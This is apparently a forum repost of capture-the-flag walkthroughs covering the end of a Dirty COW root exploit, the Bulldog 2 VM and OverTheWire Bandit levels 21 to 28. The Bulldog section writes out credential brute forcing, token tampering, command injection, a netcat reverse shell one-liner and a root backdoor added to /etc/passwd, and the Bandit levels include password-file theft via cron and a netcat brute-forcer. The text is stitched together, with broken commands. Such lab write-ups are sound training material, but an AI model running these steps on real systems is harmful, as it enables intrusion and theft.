![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-AQl-NQtJIK0/W2dZlnhPVlI/AAAAAAAAZRU/uxEp4P1qTFk-4ml95i7qFfjFPE2Hzmw2wCLcBGAs/s1600/5.png?w=687&ssl=1)
We have download this file on server’s /tmp (universal writeable) directory. Since the exploit is in .cpp format, therefore, to compile and execute it, there were specific commands given in the code of the exploit. This gave us a hint on how to compile and execute the exploit 40847.ccp.
Boom, we got the root shell! Let’s read the flag now.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow
./dcow -s
1
2
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow
./dcow -s
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
|
|
|
|
| [Guide] How to Hack the Bulldog:2 (CTF Challenge) |
|
Posted by: NINZA - 05-14-2020, 09:33 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Bulldog 2”. This VM is developed by Nick Frichette, which is a standard Boot-to-Root challenge. Our goal is to get into the root directory and see the congratulatory message.
Level: Intermediate
Task: To Find The Final Flag.
Steps involved:
- Post-scanning to discover open ports
- Discovery of top monthly users
- Discovery of authorization of admin in a JavaScript file
- Bruteforcing each user with fasttrack.txt
- Modification of response code of correct credential to make it master_admin_user
- Discovery of the new admin dashboard
- Exploiting CLI in password tab in the Login page
- Getting netcat shell
- Spawning a teletype
- Escalating privileges using writable /etc/passwd file
Let’s Breach!!
The target holds 192.168.1.120 as network IP; now using nmap lets find out open ports.
nmap –A 192.168.1.120
1
nmap –A 192.168.1.120
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-r92T783BwIo/W2cOOTXtFRI/AAAAAAAAZO0/pKPV5JIrk8IuXc9_YxYMP1T-ekb5PPaIACLcBGAs/s1600/1.png?w=687&ssl=1)
Nmap scan shows us port 80 is open, so we open the IP address in our browser.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-qnqnI7zUcmk/W2cORxlZ5wI/AAAAAAAAZRA/zX9ivvlSF5oxn9JwqfhW2G24kDOiJDIZQCEwYBhgL/s1600/2.png?w=687&ssl=1)
We saw a Register tab on the Homepage. After Clicking on it, a notice was given on that page stating that they are not accepting registration at this time due to security concerns. This means we can’t register as a new user.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-79jA41ELkUE/W2cOVuyLI8I/AAAAAAAAZQ8/ZhWac0LdgQI5PbyV3imXI7XOLpxUB185ACEwYBhgL/s1600/3.png?w=687&ssl=1)
There was a Login tab as well on the Homepage, which led us to think if we can’t register as a new user then let’s login as an existing user. It came into our notice that there was a User’s Tab given on the Homepage.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-I4BfsDy51uE/W2cOV-g95oI/AAAAAAAAZQw/mKsknS1HjQMaksLx9pEjQ9a2lMv3iJALwCEwYBhgL/s1600/4.png?w=687&ssl=1)
After exploring the details inside the Users Tab, we came to know about all the usernames of the Top Monthly Users. This can be used as a clue later on.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-NpR-XFCbeEU/W2cOWUBqjsI/AAAAAAAAZRA/wiXxRaHjWeMSjHfcj6X2YpLMf1BsYE2cgCEwYBhgL/s1600/5.png?w=687&ssl=1)
Next, we thought of Viewing the Page Source of the Webpage, where we found a file main.8b490782e52b9899e2a7.bundle.js .
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-esMSIheSav4/W2cOWSKKyCI/AAAAAAAAZQ0/GDh14rhV1_4trV2Kiv4dVKcMXOfJOy5oQCEwYBhgL/s1600/6.png?w=687&ssl=1)
After viewing the contents of this file, we found out that master_admin_user has the highest auth_level.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-IH10uB0Z_VQ/W2cOW99j32I/AAAAAAAAZQ4/sRUsSoXPYgsF0gNRYfr2dvunoSCS_lWwQCEwYBhgL/s1600/7.png?w=687&ssl=1)
We thought of capturing the request of the Login Page in Burp Suite. Send the captured request to the intruder. Select attack type as Cluster Bomb to perform brute forcing over Username and Password.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-2AJHaqEgcHk/W2cOXX0fPeI/AAAAAAAAZQ8/7GKjViIdBHc0By18MssWIE0HdyWp2A4kgCEwYBhgL/s1600/8.png?w=687&ssl=1)
Now we have selected the Payload type as Simple list for Payload set 1 where we have given the list all the usernames of the Top Monthly Users found earlier.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-1IadGGKlnkw/W2cOXtP6HNI/AAAAAAAAZRA/OAgfefJhC0AuXMN_FI7yuecLsaHZ3UAAACEwYBhgL/s1600/9.png?w=687&ssl=1)
Similarly for Payload set 2 we have given Payload type as Simple list, here we have loaded the dictionary file of fasttrack.txt.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-d8OD6xk8o_Y/W2cOOt09MEI/AAAAAAAAZQ8/MmfXiQc5nBE5oSPmsoY-wguFoMvYOhP4gCEwYBhgL/s1600/10.png?w=687&ssl=1)
Once Brute Forcing is completed, we have got the password qwerty for the username mdrudie.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-k4LWXo16RW4/W2cOOuxL8yI/AAAAAAAAZRA/l8FpTAeWx4McTYLcr2MB5UfHrXInqmpHgCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now logging in with username mdrudie and password qwerty. As you can see these details have successfully logged us in.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-vsF_CStk1yU/W2cOPn1COxI/AAAAAAAAZQ4/xUAuxrcEgtg9aVXmTAep_zARHs96aLgJwCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now capturing the request of the Login page, we will also intercept the response of the captured request.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-ACs1f60sMW0/W2cOP8i_b7I/AAAAAAAAZQ8/vUK8H6FU8FAQnlp1DtPrY-Ln1BrxbpGEACEwYBhgL/s1600/13.png?w=687&ssl=1)
We have copied this response and decoded it using an online JSON Token converter. Here we see the auth_level is at standard_user.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kkr3mxnNPVg/W2cOPg7M_bI/AAAAAAAAZRA/H8z7ZX2FWMgzDwu6da4o9kdu8Ag4RizSQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Changing the auth_level to master_admin_user. This will give us the admin privileges.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-x1gpIN7tzhM/W2cOQWE8NdI/AAAAAAAAZQ0/ey5u_waF7Ao3jD-S6q6ECUEFdFptPT9AgCEwYBhgL/s1600/15.png?w=687&ssl=1)
Now copy the edited encoded response and Replace it with the old encoded response in the Burp Suite. Also, change the auth_level to master_admin_level as shown in the image.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-RUBVt_zmgrM/W2cOQYbIRuI/AAAAAAAAZQs/4PNkvUFAGT86kAk3FFdSrhTyyYKzUTLuwCEwYBhgL/s1600/16.png?w=687&ssl=1)
On forwarding the request, we have successfully logged in the user with admin privileges.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-CwG-0d9sWAI/W2cOQtgWuNI/AAAAAAAAZQo/7JuwshnNaB8dasPNjRbvoCO8KiVQqgycACEwYBhgL/s1600/17.png?w=687&ssl=1)
Now clicking on the Admin tab, an Admin Dashboard login form opens up which asks for a username and password. The line about using a CLI tool to log in gave us a hint about command injection. Unfortunately, it’s a blind command injection.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-mB7lNMOiKWw/W2cORZ89HOI/AAAAAAAAZQo/dTuBi5SUn7oKyKG-alseGSBT8jYfuKnZwCEwYBhgL/s1600/18.png?w=687&ssl=1)
Now we will dump the ICMP packets that are destined towards eth0 interface. By using the command:
tcpdump -nni eth0 icmp
1
tcpdump -nni eth0 icmp
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-9W4hcF5TFGw/W2cORQvvywI/AAAAAAAAZQo/iTAix0Lm_O8_rF-MUp8YSzurzRSdUdDNwCEwYBhgL/s1600/19.png?w=687&ssl=1)
Now by capturing the request of the Login Form of the Admin Dashboard using username mdrudie and password qwerty through burp suite. Now we will check if the command injection is working in the password input area by using the command:
; ping 192.168.1.104 -c 4
1
; ping 192.168.1.104 -c 4
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-MvVSl71pN0Q/W2cOSUjRckI/AAAAAAAAZQo/2mRnc2Q29AEezj1z2ZLOJNY0R2zx9Y-DACEwYBhgL/s1600/20.png?w=687&ssl=1)
Since we are able to capture the ICMP packets at eth0 interface, this means command injection is working in the password input area.
tcpdump -nni eth0 icmp
1
tcpdump -nni eth0 icmp
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-B7JVoytFKog/W2cOSjOMyTI/AAAAAAAAZQ4/e3u1DG2RTqIE8DaHobItnykRmdeNqZgYQCEwYBhgL/s1600/21.png?w=687&ssl=1)
Now using the reverse shell one-liner in the password input area which is given below: form pentestmonkey
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.104 1234 >/tmp/f
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.104 1234 >/tmp/f
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-T4XsfJGHQ4Y/W2cOS-FCwJI/AAAAAAAAZQo/JZ-cgtLI4G0KjhGd2MMNW01MGeR5VxczACEwYBhgL/s1600/22.png?w=687&ssl=1)
Side by Side we have activated a netcat listener and obtained a shell.
nc -lvp 1234
1
nc -lvp 1234
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-A1vIGdaYDH4/W2cOTbLrxNI/AAAAAAAAZQ4/_XO-fsFu2n4DubYREnjUfxhGSKp4br-PQCEwYBhgL/s1600/23.png?w=687&ssl=1)
We will be checking permissions for /etc/passwd directory using the command:
ls -al /etc/passwd
1
ls -al /etc/passwd
As you can see this directory is having permission to read, write and execute.
![[Image: 24.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-k5zR7B-pigY/W2cOTn6reOI/AAAAAAAAZQs/iJShGwB3nMAUCUqui1FW31d14SQriXoTwCEwYBhgL/s1600/24.png?w=687&ssl=1)
We read the /etc/passwd file using cat utility after that.
cat /etc/passwd
1
cat /etc/passwd
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-wmjMV7za8Pg/W2cOT7HOUHI/AAAAAAAAZQs/9ItJ0cpkkqsExDR1Yfu62fUhVVtAWU8qQCEwYBhgL/s1600/25.png?w=687&ssl=1)
Our aim was to add a user in /etc/passwd file as root. So, we use OpenSSL utility to create a password hash with the command:
openssl passwd –l –salt user3 pass123
1
openssl passwd –l –salt user3 pass123
Copy the password hash in someplace safe now.
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-FDB3bdAOL_8/W2cOUZMzTWI/AAAAAAAAZQw/JlYfg-7BTUI1MzdiN2TyVHu0h53dhUugwCEwYBhgL/s1600/26.png?w=687&ssl=1)
Copy the /etc/passwd file in a leafpad file and let’s add our custom user in there.
hack:$1$user3$<hash>/:0:0:/hack:/bin/bash
1
hack:$1$user3$<hash>/:0:0:/hack:/bin/bash
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ge7oW20UmQo/W2cOUmY-TaI/AAAAAAAAZQs/w49momM5Ac4r3e8V4PrK9eRfPKwxppv8wCEwYBhgL/s1600/27.png?w=687&ssl=1)
Save this file somewhere on the desktop and download this file on server’s /tmp (universal writeable) directory.
Then use cp to copy and replace this file with the original file with the command:
cp passwd /etc/passwd
1
cp passwd /etc/passwd
![[Image: 28.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-145HSfCRBLM/W2cOUx17QnI/AAAAAAAAZQ0/As3zO9ZxZiUt_EZr3QpBJHyv42kOwG-eACEwYBhgL/s1600/28.png?w=687&ssl=1)
Let’s try and login using su binary:
su hack
[password]: pass123
1
2
su hack
[password]: pass123
Oh yeah, we got the root shell! Let’s read the flag now.
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-QXV3J--2gA4/W2cOVYmHumI/AAAAAAAAZRA/hNX3iXhPabAR94msCRc4WZg3E_ywyWzsgCEwYBhgL/s1600/29.png?w=687&ssl=1)
Today, we will continue to play the war-game called Bandit. [To see content please register here] Organization hosts this war-game. To play this war-game, go to the Bandit website by clicking [To see content please register here] . Get the solutions of other levels from below.
[To see content please register here]
[To see content please register here]
Objective
Find the password file. It will give us access to the next level.
Table of Content:
- Level 21-22
- Level 22-23
- Level 23-24
- Level 24-25
- Level 25-26
- Level 26-27
- Level 27-28
- Level 28-29
- Level 29-30
- Level 30-31
- Level 31-32
- Level 32-33
- Level 33
Level 21-22
In the [To see content please register here] article, we got the password for level 21 and have successfully connected as user bandit21. We are informed that there is a cron script running and we need to enumerate /etc/cron.d/ for the password. So, we traversed to that path. We use ls command to show the list of files inside the directory. As the next level is bandit22 so we read the cronjob_bandit22 using cat command. It shows that there is a script at /usr/bin/cronjob_bandit22.sh. So, we read that script to find that it writes the password for the next user inside a file that is located inside the tmp directory. On reading that file we got the password we required to get on to the next level.
cd /etc/cron.d/
ls
cat cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
1
2
3
4
5
cd /etc/cron.d/
ls
cat cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-TBnpJuHX-xg/XI9XWsG2JVI/AAAAAAAAdiw/ZgtRbAQtCvwss3xrU5_siayMsqj1G98MgCLcBGAs/s1600/1.png?w=687&ssl=1)
Now that we have the password for the next level, we will login as bandit22 using SSH.
ssh bandit22@localhost
1
ssh bandit22@localhost
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-BAVknUxXOIs/XI9Xax-bt4I/AAAAAAAAdjU/dl9CCaRbF0oQvAWRffKMMl5KzpscWObIACLcBGAs/s1600/2.png?w=687&ssl=1)
Level 22-23
On this level, we are informed that there is a cron script running and we need to enumerate /etc/cron.d/ for the password. So, we traversed to that path. We use ls command to show the list of files inside the directory. As the next level is bandit23 so we read the cronjob_bandit23 using cat command. It shows that there is a script at /usr/bin/cronjob_bandit23.sh. So, we read that script using cat command. This script has a variable called myname which is the output of the command whoami. Which basically return bandit22. Next, the operation is done on this variable. It prints “I am user bandit22” and it is encrypted in MD5. This hash is used to name the file which has the password for the next level. Now to get the password for the bandit23 user, we run the command with the value for the variable myname set to bandit23. This will give us the hash value which further gives the name of the file in the tmp directory.
cd /etc/cron.d/
ls
cat cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh
/usr/bin/cronjob_bandit23.sh
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
1
2
3
4
5
6
7
cd /etc/cron.d/
ls
cat cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh
/usr/bin/cronjob_bandit23.sh
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Hn-2ZhIH-sU/XI9Xeqjd56I/AAAAAAAAdkA/9aitiP_J35EGuqkaJm_UtyL0edRLL7xpwCLcBGAs/s1600/3.png?w=687&ssl=1)
Now that we have the password for the next level, we will login as bandit23 using SSH.
ssh bandit23@localhost
1
ssh bandit23@localhost
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-eb9tA1DLJFs/XI9XjEv5rWI/AAAAAAAAdks/rO5HzHOxo70qeN0jk7QYQLzhfOJP0L-hwCLcBGAs/s1600/4.png?w=687&ssl=1)
Level 23-24
On this level, we are informed that there is a cron script running and we need to enumerate /etc/cron.d/ for the password. So, we traversed to that path. We use ls command to show the list of files inside the directory. As the next level is bandit24 so we read the cronjob_bandit24 using cat command. It shows that there is a script at /usr/bin/cronjob_bandit24.sh. So, we read that script using cat command. We see that we have a script with a variable named myname which consists of the output of the whoami command. The script first changes the name directory to /var/spool and then executes files with the variable myname file. And after executing it deletes all files inside that directory.
cd /etc/cron.d/
ls -la
cat cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh
1
2
3
4
cd /etc/cron.d/
ls -la
cat cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-wg6_mPUO2pc/XI9XjG7pbaI/AAAAAAAAdkw/MA1F6_RzoewskftT9vncxb9uC-DWS8ZCQCLcBGAs/s1600/5.png?w=687&ssl=1)
Now to get the password for the next directory we will have to create a script of our own so that we can put it inside the /var/spool that will cat the password file from the /etc/bandit_pass/bandit24. We will have to save the file with the name of the next user in order to run the file as a cron job successfully.
mkdir /tmp/Ignite123
cd /tmp/Ignite123
nano bandit24.sh
1
2
3
mkdir /tmp/Ignite123
cd /tmp/Ignite123
nano bandit24.sh
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-mu3e7B2rnhE/XI9XjbIPwWI/AAAAAAAAdk0/SKkMzw87gEMfnYEax079vB7vJd2g7elvgCLcBGAs/s1600/6.png?w=687&ssl=1)
After creating a file using nano, we will write the script that will read the password from the /etc/bandit_pass and writes in the file inside the directory we just created.
#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/Ignite123/level24
1
2
#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/Ignite123/level24
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Nb8_oXlkYh4/XI9XkOhI-uI/AAAAAAAAdk4/DWIL7lFjmsQDEEkGCPvL9z9d29_WtY2GwCLcBGAs/s1600/7.png?w=687&ssl=1)
Now to execute successfully, we will have to give proper read and write permissions to the script we just created and also to the directory we created.
chmod 777 bandit24.sh
cp bandit24.sh /var/spool/bandit24/
chmod 777 /tmp/Ignite123
1
2
3
chmod 777 bandit24.sh
cp bandit24.sh /var/spool/bandit24/
chmod 777 /tmp/Ignite123
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-fkpIROSAauY/XI9XkUE4HUI/AAAAAAAAdk8/Okg3NDfoFjkdAGMjMlf8-jsud1848C6pwCLcBGAs/s1600/8.png?w=687&ssl=1)
We will have to wait for some time. We got a bit stuck here as we didn’t wait for enough. Have a bit of patience, it will take some time. After that when we list the files inside the directory, we see that a new file is created and upon reading the contents of that file, we find the password that we were looking for in this level. Now that we have the password for the next level, we will login as bandit24 using SSH.
ls
cat level24
1
2
ls
cat level24
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Aca6OcKXy-g/XI9XkauHjrI/AAAAAAAAdlA/pSqYVj9iRAYcnI1aoiOiVW3FVOBEeVpVgCLcBGAs/s1600/9.png?w=687&ssl=1)
Now, if the above-mentioned method doesn’t work for you. This is another method to grab the password. It is based on the method that we did at an earlier level. In the previous level we wrote the I am user bandit23 now that we have to grab the password for bandit24 we will write I am user bandit24 and convert it to MD5 and use that text as a directory for the password for the next level. We prefer this method because is obviously faster and easier.
echo I am user bandit24 | md5sum | cut -d ' ' -f 1
cat /tmp/ee4ee1703b083edac9f8183e4ae70293
ssh bandit24@localhost
1
2
3
echo I am user bandit24 | md5sum | cut -d ' ' -f 1
cat /tmp/ee4ee1703b083edac9f8183e4ae70293
ssh bandit24@localhost
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-nbHVtn7OqTo/XI9XWbntwqI/AAAAAAAAdis/-HPajfIBdOIYES7SOw7k7P7P-LGPvYKKQCLcBGAs/s1600/10.png?w=687&ssl=1)
Level 24-25
On this level, we are informed that a background process is running. It is listening at post 30002 and will give the password for the next level. And we will have to feed it the password for the current level. But wait there is a catch. We will also have to provide a 4-digit secret passcode which will have to Bruteforce as we have absolutely no clue about it. Now to apply Bruteforce we will have to create a Dictionary. As always, we will be needing to read and write permissions to create a script. So, we will create a directory inside the tmp directory. Let’s create a script using nano.
nc localhost 30002
cd /tmp/pavan2
nano bruteforcer.sh
1
2
3
nc localhost 30002
cd /tmp/pavan2
nano bruteforcer.sh
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-nDykLqOoskM/XI9XWc-D9LI/AAAAAAAAdio/KTKXusjgP1s2VAIGcTJiAc8GpHyr7i_qgCLcBGAs/s1600/11.png?w=687&ssl=1)
After creating the script file, we will have to create a file that would act as a dictionary. We are told that we will have to feed the daemon running on port 30002 the password of the current level followed by a 4-digit passcode. So, we ran a loop that lists all the 4 digits and writes those inside a file called output. This file will act as a dictionary.
#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for i in {8000..8999}
do
echo $passwd' '$i >> output.txt
done
1
2
3
4
5
6
#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for i in {8000..8999}
do
echo $passwd' '$i >> output.txt
done
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-hj41-Nihj6I/XI9XXF-O8-I/AAAAAAAAdi0/wT4WRKBEC18XNDmGnxM3_LGAakH7E-jBQCLcBGAs/s1600/12.png?w=687&ssl=1)
Now before running the above script, let’s first give it proper permissions. After that, we will run the script. Now, to apply Bruteforce, we will have to use piping (|). We will first read the password we created inside the output.txt than we will feed its output to the nc at 30002 port. Further, we will feed the output to a file called result. This will make reading the password easier. Now using the sort command combined with the uniq command, we will extract the correct password easily. Now that we have the password for the next level, we will login as bandit25 using SSH.
chmod 777 bruteforcer.sh
./bruteforcer.sh
cat output.txt | nc localhost 30002 >> result.txt
sort result.txt | uniq -u
ssh bandit25@localhost
1
2
3
4
5
chmod 777 bruteforcer.sh
./bruteforcer.sh
cat output.txt | nc localhost 30002 >> result.txt
sort result.txt | uniq -u
ssh bandit25@localhost
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-iIsJhi8Wi7U/XI9XYO979qI/AAAAAAAAdjA/Y36aDChX-KY2izbq4pgvo3RVvD0mP5drACLcBGAs/s1600/13.png?w=687&ssl=1)
Note: When we were trying the Bruteforce, there were times when we were getting a session timeout error. To resolve this, don’t Bruteforce from 0 to 9999. Instead, divide the dictionary into small sections like 0 to 1000 and 1001 to 2000 and so on.
Level 25-26
On this level, we are informed that the shell for user bandit26 is not bin bash. So, we will have to figure it out. After logging in as bandit25, we ran the ls command to list all the files inside the directory. This gave an ssh key. So, we tried to login with it.
ls
ssh bandit26@localhost -i bandit26.sshkey
1
2
ls
ssh bandit26@localhost -i bandit26.sshkey
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-HIKJiI5b4Cc/XI9XYFqkSmI/AAAAAAAAdi4/qTH39CVALKc5at014AITQWLd4XESNVhPgCLcBGAs/s1600/14.png?w=687&ssl=1)
We saw that a session was generated but it displayed a pattern as below and then the session was closed.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Vp3uPmC_4VY/XI9XYM4QI_I/AAAAAAAAdi8/gMCn4MEZxnw1Skldxb5vrDY4yfv0A8AwwCLcBGAs/s1600/15.png?w=687&ssl=1)
After a bit enumeration, here and there. It hit us to check the /etc/passwd file. As this was a machine with lots of users so we used the grep command to get a refined result for the bandit26 user. It gave us a file called showtext. We read the file showtext using the cat command. It shows us that ‘more’ is used with the text file that shows us the pattern we saw before. Now, this gave us an idea that we need to provoke the more command. To do this we will have to decrease the size of the terminal so that it can’t display that pattern.
cat /etc/passwd | grep bandit26
cat /usr/bin/showtext
1
2
cat /etc/passwd | grep bandit26
cat /usr/bin/showtext
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-uk7XMCPankE/XI9XYyvxoVI/AAAAAAAAdjE/_jKf2UNxQoMjAUWGjS87Jh90e94elE3KACLcBGAs/s1600/16.png?w=687&ssl=1)
So, we decreased the size of the terminal as shown in the image and then again tried to login. This will trigger the ‘more’. Now press ‘v’ to enable vi editor.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-FmYv-ra53Jk/XI9XZQisy6I/AAAAAAAAdjI/CB3QXwu8ux06r54uEBZLwNASVNgfdWyFACLcBGAs/s1600/17.png?w=687&ssl=1)
Now, we will write the following command to invoke a shell here as shown in the given image.
et shell=/bin/bash
1
et shell=/bin/bash
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-jw2g67ckZ90/XI9XZ9W2QuI/AAAAAAAAdjM/r8wXbyDS2WorY7yEAiqQIIkfnJpKaEubwCLcBGAs/s1600/18.png?w=687&ssl=1)
As we can see in the given image that we have the shell for bandit26.
h
1
h
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Ag1NP5KctiU/XI9XayNn1uI/AAAAAAAAdjQ/q4TmhvfCYN0x7YK-tR2QRey3fePRWcYzACLcBGAs/s1600/19.png?w=687&ssl=1)
Level 26-27
On this level, we are not given any hints. We are on our own on this. So, we like to see what we have to work upon in the current directory. We ran ls command to find a script bandit27-do. Let’s execute the script to see if we get any message or hint. It does one better, it gives us an example. This script basically runs the command it is given as user bandit27. So now that we can run commands as user bandit27. Let’s read the password file located at /etc/bandit_pass/bandit27. Now that we have the password for the next level, we will login as bandit27 using SSH.
ls
./bandit27-do
./bandit27-do whoami
./bandit27-do cat /etc/bandit_pass/bandit27
ssh bandit27@localhost
1
2
3
4
5
ls
./bandit27-do
./bandit27-do whoami
./bandit27-do cat /etc/bandit_pass/bandit27
ssh bandit27@localhost
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-_k6ua2nX_34/XI9XbEJ5ZdI/AAAAAAAAdjY/QVBY_gzPyOgK_fpaLAV9Uj5wpZoQWJAKwCLcBGAs/s1600/20.png?w=687&ssl=1)
Level 27-28
On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit27. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. After cloning let’s list all the file in the repo. We find a README file. Upon reading that file we get the password for the next level.
mkdir /tmp/pavan4
cd /tmp/pavan4
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
ls
cd repo
ls
cat README
1
2
3
4
5
6
7
mkdir /tmp/pavan4
cd /tmp/pavan4
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
ls
cd repo
ls
cat README
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-WVmY1hJax1c/XI9Xb2siJYI/AAAAAAAAdjc/MwxRdTzwws06decKAAo7ll9BN9_JvqvAgCLcBGAs/s1600/21.png?w=687&ssl=1)
Now that we have the password for the next level, we will login as bandit28 using SSH.
ssh bandit28@localhost
1
ssh bandit28@localhost
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-AtyI6y57D84/XI9XcEYwh8I/AAAAAAAAdjg/5QN6sk_2FBoPeT4Nc_UDBk6M6TiRvNPeACLcBGAs/s1600/22.png?w=687&ssl=1)
Level 28-29
On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit28. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. After cloning let’s list all the file in the repo. We find a README file. Upon reading that file we see that password is hidden.
mkdir /tmp/pavan5
cd /tmp/pavan5
git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
ls
cd repo/
ls
cat README.md
1
2
3
4
5
6
7
mkdir /tmp/pavan5
cd /tmp/pavan5
git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
ls
cd repo/
ls
cat README.md
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-SE6Lv8XwN4M/XI9XcLdsxNI/AAAAAAAAdjk/Y9Bqn5InPlg6rvtlHQh9Bgjct42xGKVrACLcBGAs/s1600/23.png?w=687&ssl=1)
Maybe the password was inside the file but was removed. Good thing is that whenever a change is made in a git, a log entry is created. Let’s check that log, we can see that the author of git has made the latest commit named ‘fix info leak’. We need to check out this commit.
git log
1
git log
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Wyok8wWPBsI/XI9XcWBqpSI/AAAAAAAAdjo/2l49e5hkdHg-dXovE_VVEi2DWZ4oyw9wwCLcBGAs/s1600/24.png?w=687&ssl=1)
To see the changes made in the commit, we will use the git show command to read the changes made. As expected, we found the password inside this commit.
git show 073c27c130e6ee407e12faad1dd3848a110c4f95
1
git show 073c27c130e6ee407e12faad1dd3848a110c4f95
